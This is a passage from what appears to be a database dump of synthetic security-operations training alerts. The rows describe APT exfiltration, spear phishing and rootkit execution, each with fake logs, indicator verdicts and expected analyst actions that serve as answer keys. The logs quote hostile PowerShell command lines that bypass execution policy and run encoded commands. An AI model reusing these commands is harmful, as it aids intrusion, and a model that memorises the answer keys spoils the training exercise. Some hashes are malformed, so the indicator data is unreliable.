Change\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"computer_name\\\":\\\"CompromisedHost01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"HyperBro\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hyperbro.exe\\\\\\\"\\\",\\\"process_id\\\":5123,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_information\\\":{\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"destination_port\\\":80},\\\"file_hash\\\":\\\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1195, 'Credential Dumping and Lateral Movement - Step 4', 'critical', 'Network monitoring and SIEM alerts', 'APT27 has successfully used harvested credentials to move laterally across the network. The attacker accessed a sensitive server containing military technology data using legitimate user credentials.', 'Credential Access and Lateral Movement', 'T1078: Valid Accounts, T1021: Remote Services', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T03:24:00Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.45\",\"attacker_ip\":\"203.0.113.54\",\"user\":\"jdoe\",\"action\":\"Successful login\",\"service\":\"RDP\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"passdump.exe\",\"domain\":\"internal.corp.local\",\"log_type\":\"Authentication Success\",\"additional_info\":{\"access_time\":\"3 seconds\",\"sensitive_data_flag\":true}}', '2026-02-07 21:23:28', '2026-02-15 04:20:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known APT27 command and control IP\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Associated with credential dumping tools\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Sensitive server housing military technology data\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1196, 'Exfiltration of Military Technology Data', 'critical', 'Data loss prevention (DLP) system alerts', 'APT27 successfully exfiltrated critical military technology data to an external server, achieving their objective of technology theft.', 'Data Exfiltration', 'T1020: Automated Exfiltration', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"10.0.0.25\",\"destination_ip\":\"203.0.113.45\",\"user\":\"j.doe\",\"file_name\":\"military_tech_blueprints.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"protocol\":\"HTTPS\",\"action\":\"File Transfer\",\"dlp_policy\":\"Sensitive Data Exfiltration\",\"result\":\"Allowed\",\"external_server_domain\":\"malicious-apt27.com\"}', '2026-02-07 21:23:28', '2026-02-16 00:45:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used in data exfiltration event.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known APT27 command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"military_tech_blueprints.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"File matching sensitive data policy.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known APT27 malware.\"}},{\"id\":\"artifact_5\",\"type\":\"domain\",\"value\":\"malicious-apt27.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain used by APT27 for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.514Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"j.doe\\\",\\\"file_name\\\":\\\"military_tech_blueprints.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration\\\",\\\"result\\\":\\\"Allowed\\\",\\\"external_server_domain\\\":\\\"malicious-apt27.com\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.514Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"j.doe\\\",\\\"file_name\\\":\\\"military_tech_blueprints.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration\\\",\\\"result\\\":\\\"Allowed\\\",\\\"external_server_domain\\\":\\\"malicious-apt27.com\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.514Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"j.doe\\\",\\\"file_name\\\":\\\"military_tech_blueprints.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration\\\",\\\"result\\\":\\\"Allowed\\\",\\\"external_server_domain\\\":\\\"malicious-apt27.com\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.514Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"j.doe\\\",\\\"file_name\\\":\\\"military_tech_blueprints.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration\\\",\\\"result\\\":\\\"Allowed\\\",\\\"external_server_domain\\\":\\\"malicious-apt27.com\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.514Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"j.doe\\\",\\\"file_name\\\":\\\"military_tech_blueprints.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration\\\",\\\"result\\\":\\\"Allowed\\\",\\\"external_server_domain\\\":\\\"malicious-apt27.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1197, 'Suspicious Access Attempt Detected', 'medium', 'Email security logs', 'A spear-phishing email was detected targeting NGO employees, containing a malicious link designed to harvest credentials. The email originated from an external IP address associated with known phishing activities.', 'Initial Access', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T08:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"email_from\":\"phishing@maliciousdomain.com\",\"email_to\":\"john.doe@ngo.org\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"invoice.docx\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"malicious_link\":\"http://maliciousdomain.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\"}', '2026-02-07 21:23:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"phishing@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Email address flagged for phishing activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash has been reported in phishing attachment analysis.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"URL is part of a credential harvesting campaign.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.515Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T08:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"email_from\\\":\\\"phishing@maliciousdomain.com\\\",\\\"email_to\\\":\\\"john.doe@ngo.org\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment\\\":\\\"invoice.docx\\\",\\\"attachment_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"malicious_link\\\":\\\"http://maliciousdomain.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.515Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T08:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"email_from\\\":\\\"phishing@maliciousdomain.com\\\",\\\"email_to\\\":\\\"john.doe@ngo.org\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment\\\":\\\"invoice.docx\\\",\\\"attachment_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"malicious_link\\\":\\\"http://maliciousdomain.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.515Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T08:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"email_from\\\":\\\"phishing@maliciousdomain.com\\\",\\\"email_to\\\":\\\"john.doe@ngo.org\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment\\\":\\\"invoice.docx\\\",\\\"attachment_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"malicious_link\\\":\\\"http://maliciousdomain.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.515Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T08:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"email_from\\\":\\\"phishing@maliciousdomain.com\\\",\\\"email_to\\\":\\\"john.doe@ngo.org\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment\\\":\\\"invoice.docx\\\",\\\"attachment_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"malicious_link\\\":\\\"http://maliciousdomain.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.515Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T08:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"email_from\\\":\\\"phishing@maliciousdomain.com\\\",\\\"email_to\\\":\\\"john.doe@ngo.org\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment\\\":\\\"invoice.docx\\\",\\\"attachment_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"malicious_link\\\":\\\"http://maliciousdomain.com/login\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1198, 'Hikit Rootkit Execution Alert', 'high', 'Endpoint detection and response (EDR) systems', 'The alert indicates the deployment and execution of the Hikit rootkit, a sophisticated tool used by adversaries to maintain a stealthy presence on compromised systems. This activity was detected following initial access.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-17T12:34:56Z\",\"event_id\":\"4624\",\"user\":\"compromisedUser\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"process_name\":\"powershell.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\hikit.exe\",\"hash\":\"f47ac10b-58cc-4372-a567-0e02b2c3d479\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Windows\\\\System32\\\\hikit.exe\",\"event_description\":\"A remote command execution was detected from an external IP address using PowerShell, deploying a known malicious rootkit.\"}', '2026-02-07 21:23:36', '2026-02-21 05:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"hikit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"File associated with Hikit rootkit.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f47ac10b-58cc-4372-a567-0e02b2c3d479\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to Hikit rootkit executable.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromisedUser\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1199, 'Unusual Data Exfiltration Activity', 'high', 'Network traffic analysis', 'The final phase involves Axiom exfiltrating sensitive information from the organization\'s databases, targeting documents related to human rights activities, and transferring the data to external servers under their control.', 'Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-03T14:32:00Z\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"human_rights_report_2023.docx\",\"user\":\"jdoe\",\"action\":\"exfiltrate\",\"status\":\"success\",\"bytes_transferred\":10485760}', '2026-02-07 21:23:36', '2026-02-21 08:08:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration server used by cybercriminal group Axiom.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with exfiltrated documents.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"human_rights_report_2023.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_database\",\"verdict\":\"sensitive\",\"details\":\"Sensitive document related to human rights activities.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_audit\",\"verdict\":\"internal\",\"details\":\"User account of the individual who initiated the exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1200, 'Spear Phishing Email Detected', 'medium', 'Email Security Gateway', 'APT17 initiates their operation with a spear phishing campaign, aiming to infiltrate the network by exploiting human vulnerabilities. A targeted email containing a malicious attachment was detected.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T08:37:45Z\",\"email_id\":\"e1b2c3d4-5678-9101-1121-314151617181\",\"from\":\"john.doe@compromised.com\",\"to\":\"victim@company.com\",\"subject\":\"Urgent: Review the attached document\",\"attachment\":\"Invoice_2023.docm\",\"attachment_hash\":\"f5c6e6b8a2b3c4d5f6e7g8h9i0j1k2l3\",\"sender_ip\":\"203.0.113.45\",\"recipient_ip\":\"192.168.10.15\",\"phishing_url\":\"http://malicious-link.com/secure-login\"}', '2026-02-07 21:24:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@compromised.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing email associated with APT17.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f5c6e6b8a2b3c4d5f6e7g8h9i0j1k2l3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document contains macro used for initial access.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for sending phishing emails.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/secure-login\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"URL used for credential phishing.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected\",\"date\":\"2026-02-08T19:00:02.518Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1201, 'Malicious Payload Execution', 'high', 'Endpoint Detection and Response (EDR)', 'Following successful phishing, APT17 executed a custom payload designed to bypass traditional antivirus solutions and establish control over the compromised system. The payload was detected executing on a Windows endpoint, aiming to establish a foothold within the network.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_type\":\"process\",\"host_ip\":\"192.168.1.45\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious.ps1\",\"file_hash\":\"fa26be19de6bff93f70bc2308434e4a440bbad02\",\"attacker_ip\":\"203.0.113.45\",\"filename\":\"malicious.ps1\",\"detected_by\":\"EDR\",\"threat_level\":\"high\"}', '2026-02-07 21:24:15', '2026-02-21 03:16:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP linked to APT17.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"fa26be19de6bff93f70bc2308434e4a440bbad02\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious script used by APT17.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious PowerShell script intended for execution.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_db\",\"verdict\":\"clean\",\"details\":\"Legitimate user whose credentials were compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc 